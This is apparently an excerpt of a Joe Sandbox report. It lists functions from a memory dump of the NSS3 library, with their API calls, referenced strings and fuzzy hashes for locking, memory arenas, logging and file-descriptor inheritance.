Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
free.MOZGLUE(00000000), ref: 6C6B79A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: 5e898ae1bd3915105fd87febf902325dae1b543665a7c21a73aa28cb5a2e3404
Instruction ID: 89df900c151d7556c604fc67f5487947a170d73fe86eb85353f8e41d2ba7a66b
Opcode Fuzzy Hash: 5e898ae1bd3915105fd87febf902325dae1b543665a7c21a73aa28cb5a2e3404
Instruction Fuzzy Hash: A841D5B1E002019FEB109B759D49B6777A8EF45359F240538E819A7B41F731E828C7BA

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C767E41
%d:0x%lx, xrefs: 6C767EA9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674F3F
bUgl, xrefs: 6C674E5C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B
Aborting, xrefs: 6C760EB3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
